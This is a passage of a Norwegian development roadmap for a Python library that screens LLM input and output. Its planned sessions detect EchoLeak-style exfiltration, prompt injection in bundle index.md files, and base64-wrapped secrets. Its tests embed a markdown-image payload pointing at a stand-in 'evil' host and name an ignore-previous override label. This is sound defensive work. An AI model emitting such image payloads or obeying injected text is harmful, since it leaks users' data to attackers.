# Re-planlagt roadmap — v1.0 (Python) + Node/TS-port **Forfattet:** Fable 5, 2026-07-09 (kryssmodell-review, `docs/review-2026-07.md`); **promotert til live sesjonsplan** 2026-07-10. Sporet docs-fil; hjem = Forgejo `open/` (eneste sanksjonerte offentlige flate, aldri GitHub). Utfyller `docs/PLAN.md` (høynivå byggeplan) med detaljerte, Opus-eksekverbare sesjon-specer. **Mållinje (bindende):** (a) en shippet, klasseledende **v1.0 av Python-biblioteket** (lukk review-funn + format/kvalitets-gaps, konsolider terskler, verifiser novelty-claimet, docs, versjons-sync + publish), OG (b) en **Node/TS-port** over den delte JSON-lexicon. Node-porten starter FØRST når Python-v1.0-surfacen er frosset og scan-ren (Session G). Stream 4 (pre-adaptasjons-scan) og consumer-integrasjon hører til «Ambisiøse utvidelser» (review Del 1), ikke v1.0-sekvensen. > **REVIDERT 2026-07-25 — v1.0-gaten er strammet, og en 0.3.0 er skutt inn foran G.** > Setningen over sier at consumer-integrasjon IKKE er del av v1.0-sekvensen. Den > gjelder ikke lenger. Operatør-beslutning: **1.0.0 gates på at den første ekte > integrasjonen kommer grønt tilbake** (`llm-ingestion-okf` steg 4 / deres v0.4.0), > ikke på vår egen suite. Begrunnelse: 522 egenskrevne tester + en egenskrevet > coverage-matrise beviser at koden gjør det vi designet, ikke at designet overlever > kontakt med virkeligheten. Bevisbyrden kom utenfra — okf fant, i sin FØRSTE > utveksling med oss, at main hadde divergert fra v0.2.0 på `import_bundle`, og at > CHANGELOG manglet tre atferdsendringer. Koden bestod; utgivelses-hygienen gjorde > det ikke. v1.0 er primært et governance-løfte under semver, så det løftet avgis > først etter én validert release-syklus. > > **`v0.3.0` er derfor kuttet 2026-07-25** (tag pushet; `467b9e3`). Den bærer > Session A/A2/B ut til konsumenter som fortsatt pinner `v0.2.0` og dermed ikke har > noe av hardningen — og den er det som i det hele tatt gjør ekte tilbakemelding > mulig. Minor og ikke patch fordi A2 (`0772daf`) satte `allow_reserved=True` som > default og dermed LØSNET en gate. Node-porten (TRACK 2) er fortsatt blokkert bak G. **Endringer mot låst roadmap (STATE «re-sekvensert 2026-07-06»):** steg 2 «modne guarden» utvides med review-injiserte fiks-sesjoner (A/B/C/D/E) FØR release (G). `.pdf` (steg 2i) blir en eksplisitt operatør-beslutning (Session F) med anbefaling om **konsesjon**. Node-porten (gammelt steg 3) splittes i P0-P7 med en delt parity-fixture som ryggrad. **Format per sesjon:** Mål · Scope-grense · Avhengigheter · Filer · TDD-plan · Nøkkelantakelser (+ test) · Verifisering. Testkommando alltid: `PYTHONPATH=src .venv/bin/pytest …`. Én sesjon ≈ «Les STATE.md og følg instruksen». --- ## TRACK 1 — Python v1.0 ### Session A — Aktivt-innhold-detektor wiret inn i gaten *(injisert av review MAJOR #1)* - **Mål:** `screen_output` og `okf.import_bundle` skal surface EchoLeak-klassen (markdown-bilde/lenke/refdef/autolink/aktiv-HTML) som findings som mater `disposition` — uten å bryte report/mutasjon-separasjonen. - **Scope-grense:** rører IKKE lexicon/entropy/secret-logikk, contract, fence, sanitize. Ingen ny runtime-dep (stdlib-only). `neutralize`s *muterende* API beholdes uendret (bakoverkompatibelt). - **Avhengigheter:** ingen (kan starte først). - **Filer:** nytt `src/llm_ingestion_guard/active_content.py` (report-only `scan_active_content(text, source) -> Report`, OWASP LLM05); refaktor `neutralize.py` til å dele regex-tabellen; edit `output.py` (`scan_output` steg 6: kall `scan_active_content`); edit `__init__.py` (eksporter `scan_active_content`); edit `tests/test_showcase.py` + `tests/test_okf_showcase.py` (plant EchoLeak-vektor); ny `tests/test_active_content.py`. - **TDD-plan (failing FØRST):** 1. `test_active_content.py::test_markdown_image_is_reported` — `scan_active_content("![x](https://evil/leak?d=1)")` inneholder label `active:markdown-image`, severity HIGH. (Rødt: modulen finnes ikke.) 2. `test_screen_output_reports_echoleak` — `screen_output("![x](https://evil/leak)", PRESET_USER_UPLOAD).disposition` er QUARANTINE_REVIEW+ (ikke WARN). 3. `test_okf_import_flags_body_echoleak` — bundle med markdown-bilde i body → aggregat ≠ WARN. 4. Minimal impl: del regexene, report-only pass, wire i `scan_output`. 5. Regresjon: hele suiten grønn (neutralize-tester uendret). - **Nøkkelantakelser (+ test):** - *«neutralize og den nye detektoren kan dele samme regex-tabell uten atferdsendring i neutralize.»* Test: eksisterende `tests/test_neutralize.py` passerer uendret etter refaktor. - *«severity-valget (HIGH for bilde) gir ønsket disposition under begge preset.»* Test: assertion 2/3 over. Risiko hvis feil: for lav severity → fortsatt WARN; testes eksplisitt. - **Verifisering:** - `PYTHONPATH=src .venv/bin/pytest tests/test_active_content.py tests/test_showcase.py tests/test_okf_showcase.py` → alle grønne. - `PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard import screen_output, PRESET_USER_UPLOAD, Disposition; d=screen_output('![x](https://evil/leak?d=1)', PRESET_USER_UPLOAD); assert d.disposition is not Disposition.WARN, d"` → exit 0. - `python -c "import tomllib,pathlib; assert tomllib.loads(pathlib.Path('pyproject.toml').read_text())['project']['dependencies']==[]"` → exit 0 (kjerne-invariant intakt). ### Session A2 — OKF reservert-fil-håndtering (`index.md`/`log.md`) *(injisert av review MAJOR #2)* - **Mål:** `import_bundle` skal behandle legitime reserverte strukturfiler (`index.md`/`log.md`, spec §3.1/§6/§7) som *skann-body-men-ikke-path-rejekt*, ikke hard-avvise dem — og faktisk skanne `index.md`-bodyen (lest først, høyest-prioritert injeksjonsflate). Behold shadow-rejektet i upload/front-end-konteksten. - **Scope-grense:** rører IKKE `validate_concept_path`s oppførsel i *upload*-konteksten (front-end shadow-reject beholdes). Ingen endring i T1/T2/T3-gatene. Kun mode-b bundle-import-grenen. - **Avhengigheter:** ingen kode-avhengighet av A; men bør landes FØR G (frys). Kan parallelliseres med A/B/C. - **Filer:** edit `src/llm_ingestion_guard/okf.py` (`_validate_concept`/`import_bundle`: reservert-basenavn → skann-gren i stedet for path-reject; `link_graph` uendret); edit `tests/test_okf.py` + `tests/test_okf_showcase.py` (nytt: legitimt bundle med `index.md`/`log.md` ADMITer; injeksjon i `index.md` FANGES; shadow-upload i front-end REJECTer fortsatt). - **TDD-plan (failing FØRST):** 1. `test_okf.py::test_legit_index_and_log_admit` — bundle {index.md, log.md, tables/users.md} (rene) → aggregat WARN, ingen `error` på index/log. (Rødt i dag: FAIL_SECURE, verifisert i review-proben.) 2. `test_okf.py::test_injection_in_index_body_is_caught` — injeksjon i `index.md`-body → concept-report har `override:ignore-previous`. (Rødt i dag: findings=[].) 3. `test_okf_inbox_uploads.py::test_reserved_name_upload_is_rejected` — MÅ fortsatt REJECTe (front-end shadow-reject bevart). 4. Minimal impl: skill reservert-basenavn i bundle-import (skann-body) fra upload-materialisering (shadow-reject). - **Nøkkelantakelser (+ test):** - *«index.md/log.md kan skannes som tekst uten path-reject uten å svekke shadow-vernet i upload-konteksten.»* Test: assertion 1-3 samlet — legit bundle admits, index-injeksjon fanges, upload-shadow rejects. - *Risiko:* `okf_version`-frontmatter er tillatt KUN i bundle-root `index.md` (spec). Hvis body-skann kjører `parse_frontmatter` på en index.md kan strict-gaten tripp. Test: `test_index_with_okf_version_frontmatter_admits` — skann index.md-body, ikke reject på lovlig `okf_version`. - **Verifisering:** - `PYTHONPATH=src .venv/bin/pytest tests/test_okf.py tests/test_okf_showcase.py tests/test_okf_inbox_uploads.py` → alle grønne. - `PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard import okf; r=okf.import_bundle({'index.md':'---\nokf_version: 0.1\n---\n# Listing\n','tables/users.md':'---\ntype: t\n---\nclean\n'}); assert r.disposition.value=='warn', [ (c.path,c.disposition.value,c.error) for c in r.concepts ]"` → exit 0. ### Session B — base64-innpakket secret-egress *(injisert av review MINOR)* - **Mål:** decode-and-rescan skal også kjøre `scan_secret_egress` over dekodet base64-plaintext, så en base64-innpakket credential fanges av LLM02-gaten. - **Scope-grense:** kun `output.py` decode-rescan-løkken (steg 3). Ingen endring i entropy-klassifisering, lexicon, eller egress-mønstrene selv. - **Avhengigheter:** ingen (uavhengig av A; kan parallelliseres). - **Filer:** edit `src/llm_ingestion_guard/output.py` (steg 3: legg til `scan_secret_egress(blob.decoded)` med `decoded:egress:*`-relabel); edit `tests/test_output.py`; edit README honest-limits (restgap: hex-innpakket). - **TDD-plan:** 1. `test_output.py::test_base64_wrapped_secret_is_caught` — output med base64(AWS-nøkkel, fragment-bygget gitleaks-safe) → finding-label `decoded:egress:aws-access-key-id`. (Rødt i dag — Probe 3 bekreftet [].) 2. Minimal impl: i decode-rescan-løkken, kjør også `scan_secret_egress` på `blob.decoded`, relabel `decoded: